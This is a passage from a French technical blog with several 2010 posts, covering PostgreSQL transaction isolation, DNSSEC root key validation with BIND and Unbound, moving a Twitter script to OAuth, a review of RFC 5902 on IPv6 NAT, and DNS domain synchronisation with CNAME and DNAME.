Pourquoi tout le monde n'utilise pas ce niveau maximal d'isolation ? Pourquoi n'est-il pas la valeur par défaut ? Parce qu'isoler a un coût, oblige le SGBD à plus de travail et à utiliser davantage de verrous. Pire, cela peut conduire à des cas où on a une erreur dans l'une des transactions. Prenons le cas où, pendant qu'on lit gentiment la table, une autre transaction la modifie avec UPDATE Foo SET number=6 WHERE id=2;. Par défaut, on verra ce changement dans notre propre transaction. Mais si on cherche la bagarre et qu'on demande à être complètement isolé :

essais=> BEGIN;
BEGIN
essais=> SET transaction ISOLATION LEVEL  serializable;
SET
essais=> SELECT * FROM foo;
...
  1 | durand |     15
...

[Ici, une autre transaction modifie cette ligne. On ne voit pas le
changement, comme prévu.]

essais=> SELECT * FROM foo;
...
  1 | durand |     15
...

[Mais si on demande à changer cette ligne ?]

essais=> DELETE FROM foo WHERE id=1;
ERROR:  could not serialize access due to concurrent update

Cette fois, on a eu un conflit. PostgreSQL ne pouvait pas faire les deux opérations demandées. L'une d'elles se termine donc en erreur.

Si l'autre transaction ne faisait pas de COMMIT immédiatement, PostgreSQL est dans l'incertitude, il ne sait pas encore laquelle faire échouer car il ne sait pas s'il n'y aura pas plutôt un ROLLBACK :

essais=> BEGIN;
BEGIN
essais=> SET transaction ISOLATION LEVEL  serializable;
SET
essais=> SELECT * FROM foo WHERE id=6;
 id |  name  | number 
----+--------+--------
  6 | armand |      8
(1 row)

[Ici, une autre transaction modifie cette ligne. On ne voit pas le
changement, comme prévu. Mais :]

essais=> DELETE FROM foo WHERE id=6;

[Ici, la transaction est bloquée. DELETE ne rendra pas la main avant
que l'autre transaction n'aie décidée d'un COMMIT ou d'un ROLLBACK. On
voit que cela peut être gênant pour certaines applications.]

Si l'autre transaction fait un COMMIT, on est ramené au cas précédent : le DELETE se termine en erreur. Si l'autre transaction fait un ROLLBACK (renonce à son opération de mise à jour), alors le DELETE peut se terminer normalement.

Attention pour le comportement par défaut si on utilise une bibliothèque d'accès à PostgreSQL. Celle-ci peut mettre automatiquement dans un niveau d'isolation différent. Pour Python, la norme d'interface avec les SGBD n'en parle pas. Avec psycopg, ce n'est pas le cas, le niveau par défaut est le read committed. Ce petit programme Python permet de tester. Il ouvre une transaction et affiche régulièrement la valeur d'une des lignes. Par défaut, il montre les changements que fait une autre transaction pendant ce temps.

PostgreSQL, pour réaliser cette isolation, utilise un mécanisme nommé MVCC. Son principal slogan est que « les écritures ne bloquent jamais les lectures et les lectures ne bloquent jamais les écritures ». (Dans l'exemple plus haut où DELETE était bloqué, c'est parce que l'autre opération était également une écriture, un UPDATE.)

Les essais ci-dessus étaient faits avec PostgreSQL. Mais cela serait à peu près pareil avec tous les SGBD sérieux. Par exemple, pour Oracle, on peut lire « On Transaction Isolation Levels » ou « How Serializable Transactions Interact ». Pour les autres modèles de SGBD, voir la bonne liste de Wikipédia.

Ceux et celles qui veulent lire davantage peuvent regarder un bon cours en français ou bien une bonne discussion sur Stack Overflow, qui explique bien pourquoi un haut niveau d'isolation n'est pas forcément souhaitable (il diminue le parallélisme).


L'article seul

Des résolveurs DNSSEC validant publiquement accessibles ?

Première rédaction de cet article le 27 juillet 2010


La récente signature de la racine du DNS, complétée le 15 juillet, a ravivé l'intérêt pour la validation des signatures DNSSEC, le service qui vérifie que la signature d'un nom de domaine est correcte, et qui met le bit AD (Authentic Data à 1 dans la réponse DNS. Installer un tel résolveur validant n'est pas trop difficile (voir par exemple mes articles « Unbound, un autre résolveur DNS » ou « Valider la racine du DNS »). Mais il est encore plus simple d'utiliser un résolveur existant et publiquement accessible.

En voici une liste partielle, ne comportant que des résolveurs que j'ai testé. Lisez bien la documentation de chacun notamment pour voir les clés de confiance (trust anchor) qu'il utilise.

  • L'ODVR de l'OARC, accessible en IPv4 et IPv6,
  • Les résolveurs de Hauke Lampe, 85.10.240.249 (unbound.resolvers.openchaos.org) et 85.10.240.250 (bind.resolvers.openchaos.org) qui utilisent le banc de test de .de en plus de la racine et de DLV.

Autrement, il n'existe que des résolveurs réservés aux clients d'un FAI comme celui de Comcast ou bien spécifiques à un domaine comme celui de DENIC pour .de (dans ce dernier cas, on peut toujours configurer son résolveur, par exemple avec la directive forward de BIND ou Unbound, pour utiliser ces serveurs DNSSEC au lieu des serveurs normaux).

Il existe de bonnes raisons à ce manque de serveurs publics, exposés dans le RFC 5358. Pour éviter les problèmes décrits dans le RFC, le service de l'OARC est limité en débit.


L'article seul

L'économie de la séparation identificateur/localisateur sur l'Internet

Première rédaction de cet article le 25 juillet 2010


Juste un court article pour attirer l'attention sur les articles faisant partie du recueil « Towards the Future Internet - Emerging Trends from European Research ». Le recueil contient de nombreux articles intéressants sur des aspects en général non-techniques de l'Internet et de son développement. Les textes sont tous disponibles en ligne.

Parmi ces articles, je signale « Modeling the economics of Loc/ID Split for the Future Internet ». Il se penche sur le difficile problème de trouver un sens économique aux propositions de séparation de l'identificateur et du localisateur sur l'Internet. C'est surtout une analyse de coûts, avec plus de maths que de bon sens mais c'est un début.


L'article seul

Souvenirs de la grande panne de .COM de 1997

Première rédaction de cet article le 24 juillet 2010


Je me souviens bien de cette panne parce qu'un client m'avait appelé en disant que « L'Internet est cassé ». Vu l'importance de .com, ce n'était pas faux. Mais, autrement, il en reste peu de souvenirs en ligne.

Donc, le 17 juillet 1997, InterNIC publie une zone .COM entièrement vide. Le générateur de zones avait planté (disque plein ou problème similaire). Un ingénieur de Network Solutions (VeriSign n'avait pas encore racheté l'activité registre de Network Solutions) avait bien vu l'avertissement du logiciel mais avait choisi de l'ignorer. (Comme lors de la panne de .SE.) Pendant plusieurs heures, tous les serveurs de noms répondaient « Ce domaine n'existe pas » (code de réponse DNS NXDOMAIN).

Voici quelques archives disponibles en ligne. À noter que, à l'époque, les mêmes serveurs servaient la racine et .COM, d'où l'allusion fréquente aux root nameservers.


L'article seul

Excellentes vidéos pour l'exposition « Dans l'ombre des dinosaures »

Première rédaction de cet article le 21 juillet 2010
Dernière mise à jour le 8 octobre 2010


L'exposition « Dans l'ombre des dinosaures » (attention, site Web de daube imposant une technologie privatrice) au Muséum d'Histoire Naturelle de Paris (jusqu'au 14 février 2011) est excellente. Mais j'ai particulièrement apprécié les trois vidéos présentant l'évolution de manière ludique et décalée.

La vulgarisation scientifique n'est jamais une tâche facile : il faut être exact et rigoureux (d'autant plus rigoureux que le public n'est pas expert et n'a pas les moyens de détecter les problèmes) tout en étant clair et même attirant puisque le public a d'autres sources de distraction possibles. Les trois vidéos réalisées par les Chevreaux suprématistes remplissent parfaitement le cahier des charges : l'une, où l'acteur-conférencier parodie un camelot, porte sur l'évolution des siréniens, les deux autres, où l'acteur-conférencier se moque des présentations corporate des années 1980, avec leurs rétro-projecteurs, parlent de l'évolution d'un primate et de celle des rongeurs.

Contrairement à un film vu sur l'Internet, ici, les squelettes des animaux dont on parle sont immédiatement à côté (« Regardez ! Derrière vous ! », dit la vidéo) et le film peut donc aussi encourager à regarder la « vraie » information.


L'article seul

Valider la racine du DNS

Première rédaction de cet article le 19 juillet 2010


Comme tout le monde le sait, la racine du DNS a été complètement signée (c'est-à-dire avec publication de la clé) le 15 juillet dernier. Comment valider des noms de domaine avec DNSSEC désormais ?

D'abord, un pré-requis : la racine étant signée en utilisant l'algorithme SHA-256 (comme le sera .fr le 14 septembre prochain), il faudra des logiciels assez récents. Le RFC 5702 qui normalisait l'usage de SHA-256 ne date que d'octobre 2009. Pour BIND, il faut une version >= 9.6.2 pour valider la racine. Pour Unbound, une version >= 1.4 (publiée le 26 novembre 2009). Avant cela, Unbound 1.3 pouvait utiliser SHA-256 mais, c'était une option de compilation --enable (qui n'était pas activée par défaut).

Ensuite, il faut mettre la clé publique de la racine comme clé de confiance (trust anchor) dans la configuration du résolveur validant. On pourrait la récupérer dans le DNS lui-même (dig DNSKEY .) mais ce serait stupide, puisque non sécurisé. DNSSEC ne résoudra aucun problème de sécurité si on gère les clés aussi imprudemment. Il faut donc un canal sécurisé et authentifié pour amorcer la validation DNSSEC. La clé de la racine est distribuée officiellement par l'IANA en https://data.iana.org/root-anchors/root-anchors.xml. On peut authentifier avec uniquement X.509 puisque c'est du HTTPS. Mais le fichier est aussi signé avec PGP et on peut donc le valider ainsi. Il est signé avec la clé 0x0F6C91D2, qui est elle-même signée par plusieurs personnes connues avec lesquelles vous aurez peut-être un chemin de confiance. La clé 0x0F6C91D2 se trouve sur les serveurs de clé et aussi en https://data.iana.org/root-anchors/icann.pgp. Un exemple de validation est :

wget -nc -O root-anchors.xml https://data.iana.org/root-anchors/root-anchors.xml
wget -nc -O root-anchors.asc https://data.iana.org/root-anchors/root-anchors.asc
gpg --verify root-anchors.asc root-anchors.xml 

Le fichier de la clé de confiance est au format XML et contient un enregistrement DS. Pour le convertir au format qu'attendent nos résolveurs, il y a plusieurs solutions. Pour Unbound, qui accepte les enregistrements DS comme clés de confiance, j'ai fait un petit script en XSLT qui fait cette conversion. Par exemple :

% xsltproc anchors2ds.xsl root-anchors.xml
. IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5 

Le processus peut s'automatiser à l'aide de mon Makefile.

Pour BIND, qui n'accepte pas les enregistrements DS mais seulement les DNSKEY, c'est un peu plus compliqué. La solution que j'utilise est à base de cut, de sed et de awk et n'est peut-être pas très robuste mais elle marche. Le principe est de récupérer la clé dans le DNS, de manière non sécurisée, puis de fabriquer le DS avec l'outil BIND dnssec-dsfromkey, puis de comparer avec la DS obtenue de l'IANA. C'est également automatisé dans le Makefile.

Donc, pour Unbound, il faut taper make root-anchors.txt puis mettre le contenu de root-anchors.txt dans unbound.conf par exemple :

trust-anchor: ". IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5"

Pour BIND, on tape make root-anchors.dnskey puis on met le contenu de ce fichier dans named.conf. Doit-on le mettre dans trusted-keys (clés statiques) ou bien dans managed-keys (clés mises à jour automatiquement suivant le RFC 5011) ? À l'heure actuelle, il ne semble pas que les gestionnaires de la racine aient formellement annoncé qu'ils utiliseraient le RFC 5011 donc je préfère le trusted-keys :

trusted-keys {
. 257 3 8 "
AwEAAagAIKlVZrpC6Ia7gEzahOR+9W29euxhJhVVLOyQbSEW0O8gcCjF FVQUTf6v58fLjwBd0YI0Ezr
AcQqBGCzh/RStIoO8g0NfnfL2MTJRkxoX bfDaUeVPQuYEhg37NZWAJQ9VnMVDxP/VHL496M/QZxkjf5
/Efucp2gaD X6RS6CXpoY68LsvPVjR0ZSwzz1apAzvN9dlzEheX7ICJBBtuA6G3LQpz W5hOA2hzCTMj
JPJ8LbqF6dsV6DoBQzgul0sGIcGOYl7OyQdXfZ57relS Qageu+ipAdTTJ25AsRTAoub8ONGcLmqrAmR
LKBP1dfwhYB4N7knNnulq QxA+Uk1ihz0= ";

Il existe d'autres solutions pour BIND : le script ta-tool, le script root2anchorkeys, on peut aussi par exemple utiliser les scripts qui avaient été conçus pour ITAR. Le format des fichiers XML n'est pas le même donc ces scripts ne fonctionnent pas directement avec root-anchors.xml, il faut les convertir, à la main, ou bien via un script que vous allez devoir écrire. Une autre solution est de tout faire manuellement comme indiqué en « Using the root DNSSEC key in BIND 9 resolvers » ou dans « How to set up DNSSEC validation with BIND-9.7 ».

Sauf si vous faites confiance au RFC 5011, pensez surtout à recommencer les étapes ci-dessus lors de la sortie de la prochaine clé de la racine, dans quelques années. Cette sortie sera sans doute annoncée très largement.

Merci à Alain Thivillon pour son aide.


L'article seul

Passer ses applications Twitter à OAuth

Première rédaction de cet article le 17 juillet 2010


On le sait, Twitter a annoncé l'arrêt du mécanisme d'authentification simple à partir du 16 août 2010. Le mécanisme à utiliser désormais est OAuth (RFC 5849). Voici un exemple de passage à OAuth pour un petit programmeur Python.

L'ancien mécanisme d'authentification était le Basic Authentication décrit dans le RFC 7617. Son gros avantage est la simplicité pour le programmeur : il suffit de concaténer un identificateur et le mot de passe, de les encoder en Base64 et de les mettre dans l'en-tête HTTP Authorization: et c'est tout. D'une manière générale, la simplicité de l'API a d'ailleurs beaucoup fait pour le succès de Twitter.

Mais ce mécanisme très simple est aussi très dangereux. En effet, tout repose sur la connaissance du mot de passe. Celui-ci doit être connu des applications, voire des applications tierces, et il ne reste donc pas secret longtemps. D'où le passage à OAuth, qui permet une meilleure sécurité, au prix d'une plus grande complexité (et qu'il n'est pas entièrement possible de cacher dans la bibliothèque logicielle).

Heureusement, il y a quand même des bibliothèques qui aident et des articles qui expliquent. Question bibliothèque, comme je programme en Python, j'avais abandonné python-twitter qui, à l'époque, (en juillet 2010, dans sa version 0.6) n'avait pas de gestion de OAuth (c'est désormais fait, dans la version 0.8 et vous pouvez lire un article d'exemple en français). Pour moi, je suis passé à l'excellent Tweepy qui dispose d'une très bonne documentation. Question article, j'ai simplement suivi les instructions dans « Twitter from the command line in Python using OAuth ». Voici les étapes parcourues pour le petit script qui me sert à informer des mises à jour de mon blog. Je ne fais que paraphraser en français l'excellent article ci-dessus, qui inclus en outre d'utiles copies d'écran.

1) Enregistrer l'application. Attention au nom choisi, car il sera affiché par Twitter (j'ai choisi Blog Bortzmeyer). Cela se fait en http://twitter.com/oauth_clients. Choisir Client (et pas browser) pour un logiciel en ligne de commande. Choisir Read & Write pour une application qui permettra de faire des mises à jour. Choisir Twitter pour l'authentification.

2) Lancer l'application à usage unique, qui permettra d'obtenir les éléments d'authentification. Voici celle que j'ai utilisé :

#!/usr/bin/env python

# First connection to Twitter, to get the credentials

import tweepy
 
CONSUMER_KEY = 'OBTENUE EN ÉTAPE 1'
CONSUMER_SECRET = 'OBTENU EN ÉTAPE 1'
 
auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth_url = auth.get_authorization_url()
print 'Please authorize: ' + auth_url
verifier = raw_input('PIN: ').strip()
auth.get_access_token(verifier)
print "ACCESS_KEY = '%s'" % auth.access_token.key
print "ACCESS_SECRET = '%s'" % auth.access_token.secret

Une fois qu'elle est lancée, elle affiche l'URL qu'il faut visiter avec son navigateur Web favori. On doit alors s'authentifier auprès de Twitter par le mécanisme habituel, autoriser l'application et, en échange, Twitter vous envoie un nombre, le PIN, qu'on peut alors saisir dans son terminal :

% python one-off-connection.py
Please authorize: http://twitter.com/oauth/authorize?oauth_token=YukdWz2zW8nf8HnLUtt67rftNiXcjbUvojrWN5dKRs
PIN: 185867
ACCESS_KEY = 'MA CLÉ'
ACCESS_SECRET = 'MON SECRET'

3) Il ne reste plus qu'à utiliser ces éléments d'authentification dans son programme. Voici un exemple :

#!/usr/bin/python

import tweepy

message = "TEST"

twitteroauthfile = "/home/bortzmeyer/.twitter/oauth"

if not os.path.exists(twitteroauthfile):
    print >>sys.stderr, ("Cannot find %s" % twitteroauthfile)
    sys.exit(1)

twitteroauth = open(twitteroauthfile)
twitter_consumer_key = twitteroauth.readline()[:-1]
twitter_consumer_secret = twitteroauth.readline()[:-1]
twitter_access_key = twitteroauth.readline()[:-1]
twitter_access_secret = twitteroauth.readline()[:-1]

auth = tweepy.OAuthHandler(twitter_consumer_key, twitter_consumer_secret)
auth.set_access_token(twitter_access_key, twitter_access_secret)
api = tweepy.API(auth)
status = api.update_status(message)
# No method to display a status in Tweepy, it seems
print status

Une autre solution, après la fin de l'authentification de base dans quelques semaines, serait d'utiliser un relais, comme celui que propose Supertweet, ce qui limiterait les modifications à faire aux applications.


L'article seul

RFC 5902: IAB thoughts on IPv6 Network Address Translation

Date de publication du RFC : Juillet 2010
Auteur(s) du RFC : D. Taler (Microsoft), L. Zhang (UCLA), G. Lebovitz (Juniper)
Pour information
Première rédaction de cet article le 17 juillet 2010


Les mécanismes de traduction d'adresse (NAT) ont toujours suscité des polémiques, en raison de leur remise en cause des principes d'architecture de l'Internet. Avec IPv4, ces mécanismes sont nécessaires en raison de la pénurie d'adresses qui fait que, par exemple, un particulier n'a aucune chance d'obtenir plus qu'une adresse IPv4, même s'il a chez lui plusieurs équipements IP. Mais en IPv6 ? La pénurie disparait. Est-ce que le NAT doit donc disparaitre avec elle ? Dans ce RFC, l'IAB étudie la question et donne une réponse, certes hostile au NAT, mais très étayée et pointant du doigt quelques problèmes qui peuvent pousser certains à déployer du NAT IPv6 malgré tout.

La question initiale est pratique (section 1 du RFC) : l'IETF doit-elle normaliser des mécanismes de NAT pour IPv6 ? Elle ne l'avait pas fait pour IPv4, considérant, à juste titre, que c'était un bricolage ayant trop d'effets néfastes et, résultat, le NAT a quand même été largement déployé, de manière non standardisée. Le groupe de travail behave de l'IETF a été créé bien plus tard pour essayer de documenter ce bricolage et ses conséquences, et pour trouver des solutions partielles à certains de ses inconvénients.

Évidemment, pas mal de participants à l'IETF craignent que la même chose se produise avec IPv6. Selon un scénario possible, l'IETF, attachée aux principes de l'adresse IP unique, de la neutralité du réseau, et de la transparence de bout en bout (RFC 4924), refuserait fermement de normaliser des solutions de NAT IPv6 et celles-ci seraient déployées quand même, menant à une prolifération de routeurs NAT différents et gardant l'actuel cauchemar que vivent les applications, notamment pair-à-pair. Mais la situation est-elle la même qu'avec IPv4 ?

Les opposants à cette vision font remarquer que la motivation initiale du déploiement du NAT pour IPv4 était uniquement la pénurie d'adresses. (Je me souviens bien de mon émerveillement quand le premier routeur NAT utilisable, un PC Linux avec ce qui s'appelait à l'époque IP masquerading, est apparu vers 1995. Soudainement, le particulier pouvait avoir plusieurs machines IP chez lui.) Cette pénurie disparaissant avec IPv6, la motivation du NAT disparait aussi. Compte-tenu des défauts du NAT, où un équipement intermédiaire interfère avec la relation entre deux machines, il ne faudrait surtout pas déployer des NAT IPv6 et donc pas les normaliser.

Ce n'est pas et de loin la première fois que la question se pose. Ainsi, le RFC 4864 avait déjà discuté des avantages et inconvénients des NAT. Où en est-on aujourd'hui ?

Pour évaluer la possibilité que des systèmes de NAT soient déployés pour IPv6, même en l'absence de pénurie d'adresses, la section 2 du RFC étudie successivement les motivations possibles pour le NAT ou, en d'autres termes, les bénéfices perçus par certains utilisateurs.

Premier avantage perçu (section 2.1), dispenser de renumérotation. Avec un routeur NAT devant son réseau, celui-ci peut avoir des adresses IP stables, indépendantes des adresses vues de l'extérieur. Si celles-ci changent (par exemple parce qu'on a changé de fournisseur d'accès), il suffit de reconfigurer le routeur et tous les autres problèmes de renumérotation (RFC 5887) sont évités. Notre RFC 5902 note que cet argument saute si on dispose d'adresses PI mais que celles-ci posent d'autres problèmes, les mécanismes de routage actuels de l'Internet ne pouvant peut-être pas gérer un trop grand nombre de préfixes PI.

Autre motivation parfois citée pour déployer du NAT, le désir d'être multi-homé (section 2.2). Aujourd'hui, la seule solution qui isole le routage mondial du multi-homing est le NAT. Autrement, il faut utiliser des adresses PI qui sont routées globalement. Les techniques basées sur la séparation de l'identificateur et du localisateur ne sont pas encore prêtes. Donc, bien que la solution à base de NAT ne fournisse pas tous les services qu'on attend du multi-homing (par exemple, elle ne protège pas les sessions déjà établies d'une défaillance d'un des fournisseurs), elle reste tentante.

Pour un FAI, le NAT a un autre avantage : il permet d'homogénéiser la configuration des réseaux locaux des clients. Avec le NAT, tous les clients ont 192.168.0.0/24, tous les routeurs CPE ont l'adresse 192.168.0.1, etc. Cela peut simplifier le support utilisateur (section 2.3). En IPv6, un mécanisme équivalent serait d'utiliser les adresses locales au lien (section 2.5.6 du RFC 4291) mais il y a trop peu d'expérience pratique aujourd'hui pour juger de la validité de cette approche.

Lorsqu'on demande à un administrateur réseaux pourquoi il utilise du NAT alors qu'il dispose de suffisamment d'adresses, il répond souvent « la sécurité ». Cet argument est souvent vague et peu étayé. En creusant un peu, on peut trouver deux propriétés du NAT qui ont un rapport avec la sécurité. La première est le fait de dissimuler partiellement le réseau, sa structure et les machines qui s'y connectent (section 2.4). L'idée est que, sans faire reposer toute la sécurité du réseau sur cette dissimulation, on peut toutefois se dire qu'il n'y a aucune raison que le monde entier puisse analyser facilement le réseau, ce qui faciliterait la préparation d'une éventuelle attaque. Ainsi, le NAT permet de rendre plus difficile le recensement des machines (section 2.4.1). Cachées derrière le routeur NAT, les machines ne sont plus accessible à un comptage, par exemple. Dans ce domaine, la plupart des administrateurs réseau surestiment beaucoup les protections fournies par le NAT. Un article comme « A technique for counting NATted hosts » montre bien que le NAT n'empêche nullement le recensement des machines. Des mécanismes de NAT plus complexes pourraient permettre de limiter certaines des attaques que décrit Bellovin (pas celles par fingerprinting, par exemple) mais ils seront aussi plus difficiles à traverser pour des services comme SIP ou SCTP. La règle traditionnelle s'applique ici : les progrès de la sécurité se font presque toujours au détriment de la facilité d'usage. Notre RFC détaille les contre-mesures possibles mais il n'en existe aucune de miraculeuse. La machine derrière le NAT ne doit donc pas se sentir en complète sécurité.

À défaut de cacher les machines, peut-on cacher la topologie du réseau (section 2.4.2) ? Là encore, l'étude indique un résultat mitigé. On peut dans une certaine mesure rendre l'analyse du réseau interne plus difficile mais on ne peut pas la rendre impossible et ces améliorations de la dissimulation seront presque toujours au détriment des usages du réseau. Bref, comme le résume la section 2.4.3, le NAT fournit davantage une sécurité perçue qu'une sécurité réelle. Et les vrais gains de sécurité seront obtenus en empêchant les techniques de traversée de NAT comme STUN, ce qui diminuera l'utilité du réseau.

La deuxième propriété du NAT qui peut sembler augmenter la sécurité est l'impossibilité de faire une connexion depuis l'extérieur vers une machine NATtée (section 2.5). En fait, cette propriété n'a rien de spécifique au NAT : tout pare-feu à états en fait autant et il n'y a pas besoin du NAT pour avoir ce résultat.

Une fois examinées les bonnes (et moins bonnes) raisons de faire du NAT, même en IPv6, la section 3 de notre RFC prend de la hauteur et essaie de voir quelles sont les conséquences architecturales du NAT. Il n'y a pas de doute que le NAT a des avantages : si les gens le déploient, c'est bien qu'ils y trouvent des bénéfices. La vraie question est donc plutôt « Quel est le coût à payer, notamment pour les autres ? ». Le RFC ne mentionne pas cet exemple mais, aujourd'hui, le déploiement massif des NAT est payé essentiellement par les développeurs d'application (qui doivent consacrer beaucoup d'efforts et une grande partie de leur code réseau à contourner les NAT, à l'aide de solutions comme TURNRFC 5766) et par les utilisateurs (dont certaines applications marchent ou ne marchent pas selon le spécificités du système NAT rencontré). L'administrateur réseaux qui déploie le NAT pour se faciliter la vie transmet donc les coûts à d'autres. Les RFC 2993 et RFC 4924 discutent plus en détail ce point.

Donc, avant de décider de normaliser un service de NAT, il ne faut pas seulement considérer les avantages perçus par ceux qui les déploient (la section 2 couvrait ces avantages) mais aussi les conséquences globales. Le principe (qui est au cœur de l'architecture de l'Internet) est que deux machines qui veulent se parler (le pare-feu peut donc légitimement filtrer le trafic qu'on ne veut pas) doivent pouvoir le faire sans se soucier du NAT, c'est-à-dire sans avoir à déployer des solutions complexes comme ICERFC 8445. Le programmeur, au lieu de consacrer l'essentiel de son code à contourner les NAT, devrait pouvoir tenir pour acquise une connectivité de bout en bout. Des techniques comme la référence (j'indique l'adresse IP à laquelle la suite du trafic doit être envoyé) sont triviales avec l'architecture normale de l'Internet et cauchemardesques avec les NAT.

Bref, l'objectif est que le système NAT, s'il existe, n'aie un effet que purement local et pas, comme actuellement, des conséquences pour tous les utilisateurs. Est-ce possible ?

La section 4 regroupe les solutions qui permettent d'atteindre les avantages cités plus haut (notamment le multihoming et la non-nécessité de renuméroter) en trois classes :

  • Adresses PI systématiques : très simple et marchant très bien, cette approche a pour principal inconvénient de faire porter un gros effort sur le système de routage mondial, qui doit gérer les adresses de tout le monde, sans possibilité d'agrégation. Le sujet a fait l'objet de nombreux travaux comme, par exemple, « Extending the Life of Layer 3 Switches in a 256k+ Route World ».
  • Adresses uniques et stables en local, mais utilisation d'un tunnel pour communiquer avec le reste du monde. C'est l'approche de la plupart des techniques comme LISP et elle est rare aujourd'hui.
  • Adresses stables en local, avec traduction d'adresses avant d'atteindre l'Internet. C'est ce que fait le NAT et cette classe de solutions est la plus difficile à combiner avec la connectivité de bout en bout. C'est toutefois possible, si la traduction est réversible. (C'était le cas du NAT original, où toute adresse interne était mise en correspondance avec une et une seule adresse externe, mais c'est moins vrai avec les déploiements actuels, où les adresses IP globales sont partagées et où des numéros de port sont alloués dynamiquement pour désambiguer.)

Maintenant, place à la conclusion. La section 4.1 résume les pensées de l'IAB : le NAT est une mauvaise idée, car il est très difficilement compatible avec la transparence du réseau (RFC 4924), celle-ci étant la clé du succès de l'Internet. Mais certains problèmes (comme le Multihoming) ne sont pas encore traités par l'IETF. Il ne suffit donc pas de dire que le NAT est négatif, il faut encore travailler à fournir des solutions pour les problèmes qu'il semble traiter. Dans tous les cas, toute évaluation d'une nouvelle norme (que ce soit du NAT ou pas) devrait se faire en priorité sur le critère de la transparence du réseau aux applications.


Téléchargez le RFC 5902


L'article seul

Que veut dire synchroniser deux domaines ?

Première rédaction de cet article le 15 juillet 2010
Dernière mise à jour le 24 août 2010


À la réunion de Maastricht de l'IETF, le 28 juillet, un sujet brûlant a été discuté, le DNS aliasing ou la synchronisation de domaines.

Quel est le problème à résoudre ? Eh bien justement, une bonne partie de la difficulté est qu'on ne sait pas trop. Pour la convocation de la réunion du 28, Andrew Sullivan a fait un résumé de la situation. Avant de voir l'état actuel de la discussion, prenons un peu de hauteur sur cette question.

Le DNS fonctionne en comparant des noms de domaine. Si on interroge un serveur DNS faisant autorité en lui demandant des informations sur www.france.fr, il va chercher si ce nom est dans sa base et répondre si c'est le cas. La norme du DNS (RFC 1034, section 3.1) précise que cette recherche se fait de manière insensible à la casse donc on aurait pu demander Www.France.FR et avoir le même résultat. À part l'insensibilité à la casse, le serveur n'essaie pas de faire des recherches approximatives, de trouver un nom « ressemblant ». Il fonctionne de manière littérale.

Mais, parfois, les humains trouvent que c'est trop littéral et voudraient que deux noms « identiques » (pour eux) soient reconnus comme tels par le DNS. Par exemple, un français qui tape www.saint-ennemond.fr s'attend peut-être à ce que www.st-ennemond.fr (une abréviation courante) lui donne le même résultat (le site Web de la commune). Bien sûr, les informaticiens riront de sa naïveté mais sa demande que les deux noms soient « aliasés » ou « synchrones » est tout à fait raisonnable. De même un australien trouvera peut-être que theatre.com (orthographe anglaise) et theater.com (orthographe états-unienne) devraient être « le même domaine ». Bien sûr, les IDN fournissent encore d'autres possibilités d'« égalité » entre noms. Si Unicode ne fournit que des équivalences simples, via ses algorithmes de canonicalisation, cela laisse bien des cas où un humain voudrait des équivalences que ne fournit pas Unicode. Un exemple typique est la différence entre les TLD .台灣 et .台湾 (Taïwan, en sinogrammes traditionnels et simplifiés).

On le voit, déterminer que deux noms sont « équivalents » n'est pas faisable par un algorithme. Alors, simplifions le problème. Supposons que des humains aient déterminé par un processus quelconque que deux noms sont équivalents et que les domaines qu'ils représentent devraient être « synchronisés ». Existe t-il un moyen technique de le faire ? Et, si non,l'IETF doit-elle en développer un ?

D'abord, et c'est une grande partie de la difficulté, il faut déterminer ce que veut dire « synchronisés ». Une définition forte serait « Si A.example et B.example sont synchronisés, l'utilisateur doit voir exactement la même chose s'il utilise un nom ou l'autre ». Avec une telle définition, il n'y a pas de solution DNS au problème puisque, par exemple, si l'utilisateur se sert d'un navigateur Web, le résultat dépendra aussi de la configuration du serveur HTTP (directives ServerName et ServerAlias sur Apache). (Merci à John Levine pour ses bonnes explications sur ce point. On les trouve aussi dans les commentaires d'EURID au plan ICANN, dont je parle plus loin.)

Avec une définition plus limitée, « Si A.example et B.example sont synchronisés, nimportequoi.A.example et nimportequoi.B.example doivent avoir les mêmes enregistrements DNS », on s'approche d'un problème soluble. Comment atteindre ce résultat dans le DNS aujourd'hui ?

La première solution est la plus simple : ne pas compter sur le DNS mais simplement résoudre le problème au niveau de l'avitaillement : si on délègue les deux domaines à la même organisation, celle-ci peut s'assurer que les deux domaines restent « synchronisés ». C'est d'ailleurs ce qui est fait pour les deux TLD IDN de Taïwan cités plus haut, tous les deux délégués à TWNIC. La principale limite de cette méthode est qu'elle ne garantit pas la synchronisation : tout dépend en effet de la politique du titulaire des deux domaines.

La seconde idée est d'utiliser les enregistrements CNAME par exemple dans un fichier de zone de .example :

B.example.  IN  CNAME  A.example.

mais cela ne gère que le domaine A.example, pas ses sous-domaines. Et avec les plus récents DNAME du RFC 6672 ? Essayons :

B.example.  IN  DNAME  A.example.

Cette fois, c'est le problème inverse, seuls les sous-domaines sont « aliasés ». Le problème a été bien illustré par Ondřej Surý dans son excellent exposé de synthèse à la réunion CENTR/OARC de Prague le 2 mai 2010 : il n'existe pas de solution idéale, sauf à combiner CNAME et DNAME, ou bien à créer un nouveau type qui combine leurs deux rôles, tel le BNAME proposé par J. Yao ou encore un système de réplication comme le SHADOW proposé par Paul Vixie.

Bon, mais, finalement, puisque tout cela est bien compliqué, fallait-il vraiment faire quelque chose ? Mais il faut savoir qu'il y a un contexte politique. Le 22 mars, l'ICANN avait annoncé son plan pour les TLD synchronisés et, bien que ce plan n'imposait pas forcément une solution technique, il a suscité beaucoup de discussions à l'IETF. (Les commentaires de ce plan sont en ligne, notez celui de l'IETF.) L'ICANN a annoncé des positions contradictoires (en faveur d'une solution technique ou bien contre cette idée).

Sur la partie politique, voir aussi la FAQ de l'ICANN. Sur la partie technique, les Internet-Drafts à lire sont :

Voici la situation après la réunion de Maastricht : http://ops.ietf.org/lists/namedroppers/namedroppers.2010/msg02117.html.


L'article seul

RFC 5804: A Protocol for Remotely Managing Sieve Scripts

Date de publication du RFC : Juillet 2010
Auteur(s) du RFC : A.Melnikov (Isode), T. Martin (BeThereBeSquare)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sieve
Première rédaction de cet article le 14 juillet 2010


